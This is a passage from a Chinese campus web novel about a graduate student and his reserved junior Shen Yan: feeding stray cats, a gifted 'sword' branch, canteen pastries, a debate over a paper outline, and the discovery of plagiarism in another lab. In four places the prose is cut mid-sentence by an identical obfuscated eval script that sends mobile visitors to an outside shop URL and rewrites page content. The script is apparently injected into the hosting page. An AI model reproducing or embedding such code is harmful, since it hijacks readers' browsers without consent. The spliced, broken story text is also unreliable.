从图书馆出来的时候刚过七点,沈言回宿舍,我回校外自己房子,有一段顺路。 路边种的不知道是什么,叶子宽宽大大的,扇子一样垂下来。我看着他偶尔伸手戳一下。 “有问题随时线上问我。” “好。” 沈言不戳叶子了,抬头看我:“研究评述我晚上回去写。师兄还有别的什么工作吗?” 我想一想:“有。” 沈言就等着工作安排,我给他下达重要任务:“回去记得吃饭?” 总感觉他这个人再打开电脑,就会也不知道晚饭为何物了。 “……” 睫毛上下扇动两下,一点若有似无的笑色闪过去,再一看又不见了。 沈言又戳一下路过的叶子,点点头:“知道了。” 走到分岔路口,沈言往左回宿舍楼,我往校外走。 关于沈言和张广的事情,苏睿刚才也没说更多。 张广是系主任,课题组挺大,资源也多,我上过几节他的课,翻来覆去地赞美自己的项目,没什么有价值的东西,很无聊,听说热爱带着手底下研究生在各类核刊上灌水。 ——准确来说也不是带着,是跟着。说是他不怎么给正经指导。 对他不满的人还是挺多的,但也只是私底下。沈言跟他到底又是怎么回事,能当面闹得不愉快? 来回想这件事,走到学校门口,我才想起来,本来应该是准备到实验楼一趟的。 原路拐回去的时候已经七点半了。这个点实验楼的人不是特别多,我打了两份文件,出来的时候捎带检查了一眼,工位已经收拾干净了,不枉我今天催了两遍。 从实验楼出来,我路过湖边的时候听见晃什么东西的声音,看过去的时候瞥见个人影,感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154791|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点熟悉。 倒回来两步,明暗树影里面正好对上沈言看过来的眼睛。 沈言原本正在来回晃手里面的塑料罐子,看见我的时候停了一下。草丛里面跳出来只橘猫,熟门熟路地蹭到沈言脚边。 “不是回宿舍了吗?” “……等一下再回。” 我看看他晃手里的罐子:“这是干什么?” 沈言转过头,面无表情又晃两下,语气很严肃:“一种神秘的召唤仪式。” “……” 等到又慢慢地蹭过来一只狸花猫,沈言才蹲下来,打开手里面的罐子,我才看见里面装的是猫粮。 我也在他旁边蹲下来,看那两只猫凑在一起吃饭。看了一会儿,又悄悄看沈言几眼。 旁边有一盏不太亮的路灯,一团小小的光晕里面拢着一个沈言和两只忙着吃饭的猫。不知道是不是因为光线有点暗的原因,他眉眼似乎隐约比平时松下来几分。 “你经常来吗?” “有空的时候就来。” 他说完这个就没多说什么了,安安静静地喂猫。 月亮浸在湖里面,亮亮的一轮。看样子明天也会是晴天。 之前没仔细看过,蹲在这里才发现,这里也有刚才看见的那种宽叶子,叶片里面托着白色的小球,有点像蒲公英,但是又不太一样。 我正在上下左右观察的时候,听见沈言的声音。 “八角金盘。” 沈言抬头看我:“学校里面有好多八角金盘。” “你还知道这个?” 我觉得好厉害,又指指旁边的绿色草:“这个是什么?” 沈言喂猫的间隙抬头看了一眼:“细风轮草。” 这样指过去几样,我说:“你知道好多。” 沈言就摇摇头,没说什么。 一开始总以为他冷冰冰的,这样看也并不尽然。他好像只是一直在很专注地做自己的事情而已。 两只猫吃得差不多的时候,我看见旁边不知道什么时候又出现个影子。 是一只黄色的猫,乍一看的时候好像两只眼睛颜色不太一样,我再仔细看的时候,又好像刚才只是我看错了。 沈言的神秘猫粮召唤仪式没召唤过来它,偏着头思考了很久。 “之前没见过它……新来的吗。” 有点奇怪的猫,端端正正地坐在花坛边上,我总觉得它看我的时候目光隐隐有种不屑。 听起来很像编的,但我的确在被一只猫不屑。 沈言又晃两下,我看见那只猫抬了抬下巴。 对视片刻,它影子一闪就不见了。沈言想了想:“可能是刚来的吧。刚来的都这样,有点怕人,不知道这里有吃的。我下次再试试。” 等到猫吃得差不多,沈言合了罐子站起来。 “那个研究评述……嗯?” 他顿了一下,手从外套口袋伸出来的时候,掌心躺着两个小小的黄色包装袋。 我看着他低着头,很严肃地审视手心里面的两包奶酪夹心小饼干,看起来准备和小饼干打一架。 “怎么了?” “我怎么不记得什么时候买了……刚才还没见到。” 他翻来覆去又看一遍,我随手指指还在动的草丛:“可能是小猫朋友送给你的。” “……嗯。” “也可能是八角金盘?” 沈言审视小饼干的间隙抬眼看我一下,梨涡若隐若现地浮出来,想了一下,手往前伸了伸。 “给我?” 他手又往前伸了伸,点点头:“我觉得还挺好吃的,经常买。” 不知道怎么回事,总之我和沈言在月亮湖旁边吃不知道哪里来的奶酪夹心小饼干。 5. 5 出了校门,对面的湖上面有几条栈道,很窄,两三掌宽,曲折横斜在粼粼湖面上面,冬天的时候人不太多。 最近正在沉迷游戏内游戏外当剑修,一剑开万古一剑斩老登的那种。我觉得这地方很适合出外景。 连着三天熬大夜赶本子赶实验赶论文之后,我终于腾出来了半个下午来踩点。 转了一圈,我很满意。水波浩渺,树影婆娑,跟我设想的一样,有几个角度跟游戏cg的场景很像,而且没什么人会来。 就是栈道有一点窄,我不是很确定之前学的那几个剑招在这地方到底能不能施展开,到时候拍出来效果不知道怎么样。 来回走了几遍,反正周围也没什么人,我决定试一试。 装作手里有剑,我按照记忆开始比比划划。 点剑可以,非常完美。 撩剑得小心一点,试了两次,感觉也还可以。 栈道还是太窄了,跳了几下,感觉都不是很对劲,劈剑好像…… “师兄?” 我正在沉浸式一剑断山海,一回头,看见两天没见到的沈言站在湖边。 他看着我,犹豫一下,慢慢摘下来耳机。 “……” 我真的只是想当一个看起来稳重的、靠谱的、可信赖的师兄。 沈言没说话,只是眼神有点询问地看过来。沉默片刻,收起来剑指,我背着手站好,装作很从容的样子。 “……只是在吸收天地灵气,汲取日月精华。” 我觉得自己听起来像个神棍,硬着头皮接着说:“对写论文好。师门传统,很有用的……你干什么?!” 沈言在栈道上脚步顿了一下,有点疑惑地眨两下眼睛:“师兄,你不是说很有用吗?” 一直到晚上开会,我都没敢直视沈言。 老程还在巴塞罗那开他的会,只能以喜气洋洋的风景头像形式出现。我端着电脑进会议室的时候,苏睿正在调设备,陈欣跟沈言坐在一边。 几个人之前在实验室都打过照面,没什么可介绍的。我把电脑放到沈言旁边,坐下来的时候瞥见他在看某篇文献,看得挺认真。 怎么感觉有点熟悉。 但是没敢仔细看。我现在真的不敢直视师弟的眼睛。我怕在他眼睛里看到浩渺湖面,水面上有一个正在虚空索敌的师兄。 老程强烈要求开摄像头看看自己崭新的小弟子,被点了一堆奶茶和小蛋糕的苏睿驳回了。 我给沈言递小勺子的时候,他接过去,犹豫一下:“也是师门传统?” “……” 他到底什么时候能忘掉师门传统,忘掉天地灵气与日月精华。 不敢直视师弟,我只能一直盯着苏睿和她的文档投屏。讲到一半,苏睿忽然停了。 “师兄,”她问得很迟疑,“你是……有什么问题吗?” 老程一瞬间关了麦克风。 其实本来没什么大的问题,但是问都问了,看起来师妹今天很想进步。不提点什么意见,好像显得我很不近人情。 于是我满足了苏睿的愿望。实在是善解人意的师兄。 开完会是六点,沈言和陈欣都出去上课了。沈言给我发过他的课表,今晚上课的那位老师我记得上课很认真,讲的东西还是挺有意思的。希望上一晚上课能让他忘记今天在湖边看到的一切。 苏睿还在对着笔电噼里啪啦敲键盘,看起来很疲惫,不知道在疲惫什么。 跟她确定好之后几周的安排,我又指指她的屏幕:“接口规范这里,你可以让沈言帮你找找国内外的研究现状。” 想了一下,她点点头,记下来之后合上电脑。 “你看,根本没有你说的那么夸张。”我捎带着和她讲,“师弟这不是挺好的吗?也没多冷漠。” 问什么答什么,递什么接什么,完事儿了还说谢谢,就是话少了一点而已,还要人家怎么样? 我觉得那个论坛真是挺莫名其妙的。 苏睿原本正在关会议室的电脑,闻言转头看着我,一副欲言又止的表情。 “没说师弟人不好,就是你真觉得……” 她说到一半又不说了,摇摇头。 “……算了。” 她摆摆手:“你当我没说过。” 我不明白。其实刚才开会的时候,沈言和她说的话明明比跟我说的要多好几句。 * 周末出实验楼的时候,我又听见了晃猫粮罐子的声音。 退回去一看,果然是沈言在进行神秘的小猫召唤仪式。 听见脚步声,他抬起来头,脚边已经围了两三只猫。 那只橘猫和狸花猫我见过,另一只奶牛猫我记得好像是这个月第一次见。沈言摸摸它的后背:“我也很久没见过,之前有人见到它吃到了有毒的猫饭,没想到居然又出来了。” “那只黄色的呢?还是不来吗?” 沈言比了个噤声的手势,指指我后面。我转头,看见它蹲在不远处的石墩上,在阳光底下眯起来一点眼睛,但依旧不屑。 它好像总是很喜欢蹲在高一点的地方。 我不是很了解这是否是天性使然,问沈言的时候,看见他很严肃地思考了半分钟,开口的时候,我以为他要跟我详细讲不同种类猫的习性,结果听见他说: “神总是与众不同的。” “……” 那只猫似乎挺爱听这话,很优雅地从石墩上跳了下来,慢慢走近两步。 原来之前对我的不屑是神的不屑吗。 黄色的小猫之神纡尊降贵地品尝了一点猫粮,看起来勉强满意。 “你现在应该挟恩图报,”我告诉他,“根据古老的传说,神吃了你的猫饼干,你可以逼着神满足你的三个愿望。” “什么古老的传说?”沈言抬眼,“我没听过。” 没听过是正常的。因为这是一分钟之前我说的。 沈言听了这话,看我一眼,摇摇头,又笑了,眼睛在日光底下粼粼的。 “那明天食堂也卖紫薯蛋皮酥好了。” 居然不是要绩点,是要紫薯蛋皮酥。我见过,但是没尝过:“真有这么好吃?” “好吃的。”他说,“三号食堂。但是每次只做一盘,总是卖很快,下了课再去就买不到。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154792|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有两个呢。” 沈言想了想:“下周能抢到票?” “什么票?” 他错了目光,低头去看小猫:“……神会知道的。” 好吧。 “还有一个呢?” 沈言合了罐子站起来:“下次再说吧——得先想想什么时候给它绝育……嗯?” 他话头一下子止住了,看看莫名其妙就像条鱼一样从手里滑出去掉地上的、差点裂开的猫粮罐子,有点疑惑:“我刚才是没拿稳?” * 下午的时候编辑部发了返修邮件,这篇是当时跟博二的师姐一起写的,晚上师姐跟我约了个线上会。 没太多要改的问题,基本上都是一些细节。分好各自要改的部分,师姐似乎捎带着想起来了,顺口问我:“说是组里来了新的师弟是吗?” 想都不用想,就知道肯定是老头去找师门的每个人都炫耀了一遍。 “是,”我手上忙着改表格,“叫沈言。” “我好像听过这个名字……说是不太好相处?你觉得还好吗?” “什么话。” 我手上顿了一下:“没有不好相处。能力很强,人也很好。” 想了想,我又补充一句:“你见面就知道了。跟他相处不来的都是自己有问题。” 如此简单的道理,就和被小猫凶了要先想想是不是自己的问题一样。领会不了这一点的人做什么都不会成功的。 下了会刚不到十一点。我算一下,今日目标已经超额完成,于是找出来之前看了一半的剑花进阶教程接着看,提前给下次活动做准备。 平板上一招一式剑光缭乱,往回拉了三遍进度条,我发现自己还是看不进去。 论坛看的人还挺多的,那些坏话总缠着我的心绪。越想越觉得不爽,第四次往回拉进度条的时候,我还是直接暂停了视频,又点进去了那个论坛链接。 简直都是在乱说。我师弟是什么人,我还不清楚吗? “不要乱说。哪里冷淡了,明明很有礼貌,没见过别乱说。” “不要乱说。人家从来不打好人。打人很疼,打过你是吗?没打过别乱说。” “不要乱……哦真人是比照片好看,这个不是乱说。” 用键盘之剑连斩十余条恶评,我觉得略微舒坦了一点,准备回去接着看剑花进阶教程的时候,看见沈言发了条消息。 [沈言]:[图片] 沈言主动来找我的时候不太多,每次也都是只是问一些看不懂的地方,不说什么别的。 我本来以为也是像前几天一样,截出来的文献片段,点开却看见是一根树枝靠在墙角。 手指一下子就顿住了。 ——这是一根笔直的、完美的、可遇不可求的树枝。 绝世好剑。所有人的梦中情剑! 太令人心动的剑了。我还在放大缩小细细观摩的时候,看见又一条消息蹦出来。 [沈言]:师兄,你想要吗?想要我明天带给你。 [PZX]:真的假的? [PZX]:我可以叫你师兄。 6. 6 有完美的树枝却不炫耀,有如衣锦夜行。 实在是太完美了。如此剑意凛然的树枝,真不知道沈言到底在哪里捡到的。 老头在巴塞罗那端着高脚杯学术social乐不思蜀,把他这周的本科生通识课又甩给我来上。 昨天晚上我上下左右所有角度拍摄十余张,这会儿趁着课间对着相册偷偷欣赏五分钟,我还是忍不住去戳戳他。 [PZX]:你介意我发给别人看看吗? [PZX]:如此完美,必须炫耀。 沈言停了一会儿,回了我个“可以”。 两分钟后,我带着精心挑选的树枝九宫格,在一周没更新过的账号上富贵还乡。 配文:“本命剑。师弟相赠。” 看似漫不经心,实则字字斟酌。 点了发布,我想起来沈言今天上午也在这个教学楼有课,切回微信又去戳他。 [PZX]:中午去不去看紫薯蛋皮酥。 这教学楼离那个三号食堂还挺近的。这次沈言一秒都没犹豫,甩过来一个干脆的“去”。 下了课再看,评论区果然已经很热闹了,全是什么“哪来的绝世树枝”“哪来的绝世师弟”。 问我这我哪知道呢。真是太奇怪了,哪来的树枝,哪来的师弟呢。 满意地翻了几分钟,我觉得有一点奇怪。其他很眼熟的ID都见到了,但是之前那个黄色狸花猫这次却始终一言不发。 根据之前的言论,我觉得这位黄色狸花猫应该还是很有品味的,定然会对此好剑击节叹赏。 但这次总不说话,想了想,我只能解释为小猫朋友实在是太羡慕了,羡慕到不想讲话。 毕竟往下一拉,依然是长长一排的“能不能送我”。 没办法。也不是我要如此高调,实在是师弟非要送我,我有什么办法?没办法。就是有个好师弟,没办法。 又不是我非要炫……等一下。 [793712673]:剑送我,师弟也送我,能不能一起送我。 我停住了。 [非衣]:不行,别想。[/微笑] “裴老师?” 我非常迅速地退回手机桌面,抬头,看见是两个本科生。 “怎么了?” “有两个问题不太明白,能……加下老师微信吗?” 教室门一响,我看见沈言露出来头,看见还有人,眼睛眨一下,又很快地关门退回去了。 转过头,我觉得我在这两位说话吞吞吐吐的同学脸上,没发现什么学术热情。 那就只有一种可能了。 “同学,这个不算平时分的。”我合上电脑,“真的还要问吗?” 我记得我本科上课的时候也干过这种事情,上课坐第一排回答问题刷脸、下课还要再装模作样抛出一些小疑问,好把平时分拉满。就这么全方位地卷。 现在想想,我觉得还是不应该跟大二的小朋友提倡这种卷法。 “……” 两人果然不说话了,我把PPT又调回第一页:“如果真有问题,上面有程老师邮箱。” “……” 中午十二点下课的人很多,跟着人群慢慢往教学楼门口移动的时候,我问沈言:“你干过这种事情吗?” 沈言意味不明地看看我,没回答。 “我不信你没干过。人要勇于面对自己的黑历史。” 卷王说没干过这种事情的可信度为零。 “裴老师。”他又看我一眼,似笑非笑,“这我倒是……真没干过。” 按照沈言的说法,紫薯蛋皮酥只有周三和周五有,每次半个小时内都会卖光。 十二点半才踏进食堂的门,沈言扬头看看远处的窗口,眉头轻轻皱一下。 “好长的队。”他说,“感觉排不上。” “来都来了,看看吧。” 真站到档口前面,我跟他都沉默了。 “不是说每次只做一点吗?” 我看着还剩下三大盘的金黄色点心:“……再晚来半个小时都能排上吧。” 沈言似乎也很疑惑,站在原地打量多得出奇的紫薯蛋皮酥,我拉他袖子一下,才反应过来,往右两步站到队尾。 我听见他小声嘀咕:“我还问过好几次,每次都说只能做那么多……怎么今天一下子做这么多?” 看来紫薯蛋皮酥真的很好吃,能让沈言说这么多话。 我试图揣测:“也许是师傅被小猫之神点化了。” 沈言看我一眼,没说话。 好吧。我给他一个听起来比较唯物主义的解释。 “可能师傅被一些同学激发了学术热情。”我分析,“找到了产能提升的途径,正在探索扩大规模的未来进路。” “……” 沈言不看我了,探头去看他的小点心。 食堂人很多,端着盘子转了几圈,我终于找到了两个挨在一起的空位。 本来来的路上沈言还问了我几个问题,眼下在热腾腾的小点心面前,他看起来暂时搁置了对开源情报的学术探索,转向研究紫薯蛋皮酥的构造。 外皮脆脆的,里面的紫薯馅很软,填得满满当当的。 其实没那么爱吃甜食。但是我可以勉为其难地承认,紫薯蛋皮酥的确很好吃。 * 我发现学校里面的确有很多八角金盘。 其实之前从来没注意过这些东西。那天听沈言一样一样地说过去,我才发现所谓的“路边草丛”里面藏着好多好多热热闹闹的植物。 不太确定我有没有认错,我找了个路灯亮一点的地方,拍给沈言看,片刻之后,看见他回了个“是”。 抬头的时候,隔着一条路,我看见前面教学楼外面莫名其妙围了好多人。 “教学楼这边好多人,” 本科生的活动似乎比较多,今天又是周五,我也拍给他看:“有什么活动?” 等了一会儿,他回复:“不清楚。” 走到旁边的时候,我想了想,还是凑近看看。窗户里面的大阶梯教室似乎是在上什么大课,两侧窗户边都挤了好多人。 好少见的场景。 我在这地方待了七年,只见过应到一百人实到二十一人里面还有六个是代签到的,从来没见过有什么课能如此激发大家的学术热情。 “同学,”我看了两分钟,随便找个人问,“这是哪个院的课?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154793|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿了一下,旁边的声音很熟悉:“不清楚。” 一转头,沈言的脸倒是被路灯照得很清楚。 “……” 为什么师弟总是能在不同地点随机刷新出来。 见我看着他,他睫毛垂了一下,解释道:“我在附近。” 果然还是年纪小,想凑个热闹也这么不好意思。 “没关系,”我拍拍他的肩膀,“师兄懂。” 眼睛一下子抬起来,我接着道:“凑个热闹,没什么的。” 盯着我半晌,沈言又不说话了,目光转到一边。 教学楼是民国时候的老建筑了,里面翻新过,外面还保留着早期的样式,墙上面爬满了藤蔓,深绿色的瀑布静止凝固在上面一样。 透过高高大大的窗户,里面的阶梯教室早就满了。往外面看,台阶上窗台上墙角边也到处都长满了人。 ——这么跟很多人放在一起,我发现沈言肤色的确很白,不言不语地站在人群里面,认认真真地往窗户里面看,一弯落了新雪的小湖一样。 “同学,你知不知道是讲什么的,这么多人?” 我问问旁边的女生,看见对方也摇头。 “不知道啊,看人挺多的就来了。” ……所以不会都是像我们一样凑热闹来的吧。 苏睿在两三个部门当负责人,社交能力又很可怕,消息总是很灵通。给情报头子发了条消息,我和沈言看见前面有个空位,往前面站了一点。 大屏幕上面的幻灯片隐约露出来了个边,但到底是什么字还是看不清。 “不好意思……裴老师?” 人很多时候难免推一下踩一下,我看着回头道歉道一半、忽然盯着我的女生,想了一下,隐约想起来是前天那两个试图加平时分的本科生。 她迟疑一下:“您也来听?” 我不说没人知道我是来凑热闹的,别人肯定会以为我是来求知若渴的。 这么一想,我很坦然地点点头,看见她目光来回逡巡,最终落在沈言身上。 “是……这样吗?” 是哪样? 我眼神询问沈言,看见他的眼神也有点茫然。 挺少见到他这种表情的。这段时间我发现沈言的学习能力和理解能力的确很强,很多时候都是一点就通。 旁边人很多,我把沈言往我前面的位置拽了拽。侧着头的时候能看见几个字,但还是看不清楚幻灯片上面到底在讲什么。 手机振一下,我看见是苏睿回了消息。 [苏睿]:[链接] [苏睿]:你居然去听了?铁树开花了吗? 看见公众号推文标题的一瞬间,我愣一下,猛地关了手机,动作幅度似乎有点大,沈言就回过头,疑惑地来看我。 “怎么了?” “……没什么。”我试图往后退,装作若无其事的样子,“回去吧?我想起来还有个数据没跑。” “什么数据?” “……总之是有个数据。” 沈言偏偏头,也没说什么,跟着我往人群外面挪动。 ——我是不会让沈言知道我拉着他跟我站在这里听了整整十五分钟的恋爱心理学的! 7. 7 今天发生了一件很了不得的事情。 我和沈言吵起来了。 也不能算完全是吵架,起因就是我跟他在讨论手里这篇文章的大纲,在整体逻辑上的想法不太一样。 其实昨天晚上就已经初现端倪,我头一次见他能一次性发这么多消息。早上我一进实验室就看见他早早坐在自己工位上,听见动静就抬头。 没说话,但是看起来是在等我来接着交锋,且势在必得。 沈言跟我的工位是对面,我拉椅子的时候问他要不要来我这边,果然话音还没落,人就拖着椅子过来了。 “你等一下,” 电脑都还在启动,我在他要说话之前打断他,试图用刚拿出来的小饼干暂时吸引一下他的注意力。 “你等我把电脑开了。” 昨天晚上在超市顺手买的。路过货架的时候觉得有点熟悉,倒回去一看的确是那个沈言说很喜欢的奶酪夹心小饼干。 早上出门的时候又顺手装包里了。 沈言看看我,有点疑惑,我跟他解释:“顺手买了。” 他犹豫一下,道了谢接过去,但是嚼小饼干的时候看起来还是一副很严肃的样子,好像我是在贿赂他一样。 显然一点小饼干无法收买他,半个小时之后,我跟他还是谁都说服不了谁。 沈言平时话不多,看起来脾气冷冷的,但其实很好说话,问他今天能不能一起吃饭、明天能不能让我晃晃他那个小猫召唤罐子、下周能不能就装作忘掉天地灵气日月精华,大部分时候都会点点头。 但是在一些事情上又认真到固执。我看得出来他准备得很充分,一点也不肯轻易让步。 没关系,我也准备得很充分,也不打算让步。 实验室里面不好多说话,我准备约个会议室跟他接着辩论。 这管理系统不知道当时外包给哪家公司来做了,简约而不流畅,相当具有上世纪的风格,时不时就要卡点bug出来。 约会议室的时候果然又卡了,沈言抱着电脑坐在旁边盯着屏幕,脸上没什么表情,但是椅子偷偷转来转去的,难得地看起来有点着急。 “等一下,这系统就这样,两分钟应该就好了。” 沈言不转他的椅子了:“没着急。不着急。” 好吧。我会装作没看见他指尖在有一下没一下地点着键盘。 记不起来上次跟人这样酣畅淋漓地吵架是什么时候了,总之沈言没看表,我也没看,从会议室里面出来的时候早就过了十二点。 其实还是没吵出来什么结果,只是准备吃完饭再战。 当然了,也许吃饭吃到一半,他就会发现我是对的。 今天有一点冷,沈言自己系围巾的时候对此冷笑一声,要我放弃这种不切实际的幻想。 “直接越过法律规制的层面谈应用,这种逻辑本身就说不通。” 沈言拿盘子的时候还在挑剔我刚才的观点:“这样写出来有什么意义?” “什么叫越过法律规制?” 沈言忘记拿筷子了,我反驳他的时候给他多拿了一双。 “你的确可以把立法作为一个点放在前面,但是说到底是在讨论数据目录,立法与否根本就不是我们这篇文章要讨论的核心问题。” “但是这样……” 沈言忽然止住话头了,往后倒了两步,我看见他拿了一小碟子山药,上面淋着桂花蜜。 “你吃过吗?”他又回到平时说话的语调了,“挺好吃的。” 我摇头。没尝过,总觉得看起来甜得好像有点腻。 “那个蓝莓酱的你不要买,那个是真的很腻,不好吃。还有那个,也不好吃。”沈言给我一样一样认真指过去,又转头来看我,“但是这个还好。你等下要不要尝尝我的?” 想了想,我决定相信师弟的口味,跟着他也拿了淋着桂花蜜的山药。 找到位置坐下来,我在沈言有一点点期待的目光中尝一尝,发现的确跟我想的不太一样,是清甜的味道,桂花香气很浓。 “是吧?” 看见我点点头,沈言也点点头,低头拿勺子,刚拿起来,又猛地抬头,再开口又成了刚才那个一板一眼的语调:“但是师兄,你这个逻辑真的有问题……” * 线上线下高强度辩论了两天,周四晚上的时候,在会议室又来回辩论了数十个回合,我跟沈言终于推敲出来一版让两个人都觉得满意的大纲。 还差两分钟六点,我看着沈言。刚才我承认第二个分论点他说的的确是对的,这会儿看似面无表情,其实在桌子底下轻轻晃了两下脚。 发现我在看他,沈言抬起来头。 “怎么了?” 我说:“还有两分钟六点。” “嗯?” 他点点头:“我知道?” 我合上电脑,又跟他重复一遍:“还有两分钟六点。” 眼睛眨一下,又眨一下。下一秒,沈言猛地从书包里面翻出来手机。 某次线上辩论的间隙沈言短暂地消失了几分钟,回来的时候跟我解释:“记错了,以为是今天开票。” 不知道他到底买什么票,也许是什么巡演之类的,但看起来似乎很想要。 我很少见到他这个样子,随口猜:“有你很喜欢的人吗?” 沈言安静片刻,声音不知为何有点含糊:“……算是。” 我看着他低头指尖在屏幕上飞快地点点点,很紧张的样子。 “用不用帮你……” “师兄,”他没抬头,语气很严肃,“你别说话。” “……行。” 看起来比我重要——怎么比我重要呢? 外面天已经黑了,我不敢说话,转头看见窗外一道影子很快地一闪,但是再仔细看的时候,又只剩下路灯的光晕了。 “嗯?” 我听见他的声音,转回来视线,看见沈言正对着手机发呆。 “怎么了,没买到?” “不是。”他又划拉两下屏幕,“刚刚明明网卡住了,怎么还有余量……” 又确认一遍,他松了一口气,见我在看他,就跟我指指手机:“买到了。” 似乎很高兴,眉眼比平时松快一点,被下午很暖和的太阳晒过的月亮湖一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154794|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真不能告诉我?” 沈言收起来电脑,视线扫过来的时候梨涡浮起来一点。 “不能。” 沈言带着小饼干很满意地去上课了,从会议室晃出来回工位的时候,我看见苏睿又在对着电脑屏幕揪头发。 本来我还在想到底是什么人能让师弟如此上心,路过苏睿工位又被叫住了。 “等一下师兄,好心的师兄,一直都很好心的知行师兄,” 她把电脑转过来:“赶紧帮我看看,总报错。” 看了一眼,我想起来之前刚读研的时候似乎也碰见过这样的情况,的确有一点复杂。 无非是有一二三四五六个问题和一二三四五六七八九个低级错误需要改而已。 讲到一半的时候,我感觉苏睿表情有点奇怪,似乎是一直想说话,又自己忍回去。 “你怎么了?” 苏睿犹豫一下:“师兄,你今天攻击性怎么这么强?” “……” 我想一想:“我没觉得?” 刚才跟沈言讨论的时候,他明明也没说什么,盘清楚了大纲,抢到了票,带走小饼干的时候还挺高兴的。 苏睿没说话,我补充一句:“师弟也没觉得?” “……” “行。”她继续敲键盘,“你当我没说。” * 晚上的时候本来打算练习一下才学会的云剑,临时被老程抓去帮他写审稿意见。 老头听起来很疲惫,似乎已经被连续一周硬着头皮的学术social完全榨干了。 “知行,实在不行,”他在电话里面说,“要不我干脆去走穴养你们吧。项目咱们不申了。” “……” “那倒也不至于。”我告诉他,“老师,现在正是拼搏的年纪。” 看到第二篇的时候,我越看越觉得连着两个章节都很熟悉。 盲审稿,卡不出来作者信息,来回看了两遍,我还是找出来昨天沈言发给我的文件。 对比一下,我没记错,果然是近乎一模一样的内容。 文档是前两天吵到一半的时候沈言发给我的。 “我之前写课程作业的时候做过一些相关的内容。” 他当时很认真地一项一项指出来给我看,“这个地方,我当时看国内外通常是这样处理的……” 整体思路和案例都是完全一样的,只有一点略微的改动。但是其他部分又不像他,佶屈聱牙,乍一看包装得挺精美,仔细一看,都经不起推敲。想了想,我敲敲沈言。 [PZX]:你上次发我的这个课程论文,你有没有投过? [沈言]:还没有,跟师兄讨论之前觉得思路一直不太成熟,没想好怎么改。 [PZX]:论坛也没讲过? [沈言]:没有。 [PZX]:那你还发给过谁吗? 对面这次安静了几分钟才回消息。 [沈言]:当时我在帮张广老师写书稿,这部分内容相关,我给他发过。但之后没怎么联系了,也没给我什么意见,大概忘了。 [沈言]:怎么了? 8. 8 上午九点过五分,空教室的门被准时推开了。 “找我?” 段玉清在我前面一排坐下来,依旧语速飞快,很赶时间的样子:“什么事?” “这个。” 我把电脑转过去:“你们组里面最近谁在做这个方向?” 段玉清看了两分钟,果然说:“有个研一学生在做,上次汇报的就是这些。他怎么给你也发过来了?” “具体是谁?” 段玉清看我一眼,说了个名字。 “行。”我把电脑转回来,“麻烦给个联系方式,没别的事了。” 段玉清背起来包准备出去,想了一下,又转过身。 “找他干什么?” “刚才给你看的,是我师弟之前没投的文章。”我告诉她,“至于你师弟的那篇稿子,被我审到了。” 段玉清听了就皱眉:“有这种事?” “小学科,领域就这么大。”我对此表示,“你师弟勇气可嘉。” 段玉清没说话,摇摇头,过了半晌才推一下眼镜:“倒也不是什么稀罕事。” “在你们师门还挺正常?” 段玉清没说话,我看她的样子算是默认。 “你那个师弟叫什么?”她皱眉想了一下,“在我们课题组待过……沈言?是不是叫这个?” “是。” “是他有意见吗?” “他还不知道。”我告诉她,“是我有意见。” 段玉清盯着我几秒钟,不知道在想什么。 “反正也是你审到了,拒了就行了。我记得他投的也不是什么顶刊,没必要给自己添麻烦。息事宁人算了。” “那这样看,剽窃还挺好的。”我合上电脑,“运气好就过了,运气不好也只是被拒了而已。” 段玉清想说什么,片刻之后摇摇头:“算了。” 她拿出来手机点两下:“联系方式给你了,你自己处理吧。我先走了。” 从研一的时候开始,我每次见她都总是很赶时间,总是有很多文章要写、很多实验要做、很多项目要推,在同届里面成果很突出,挺有名的大师姐,大概以后准备留校。 “学姐,你之后还是准备跟他接着读博后?” “资源多,总归还是有好处。”段玉清不置可否,说到这里又停了一下,才接着道,“知行,人各有志。” * 我提着档案袋找到沈言的时候,他正在图书馆二楼找资料。 到了图书馆,我正低头准备给他发消息,旁边书架上面一本书被拿下来。 “师兄?” 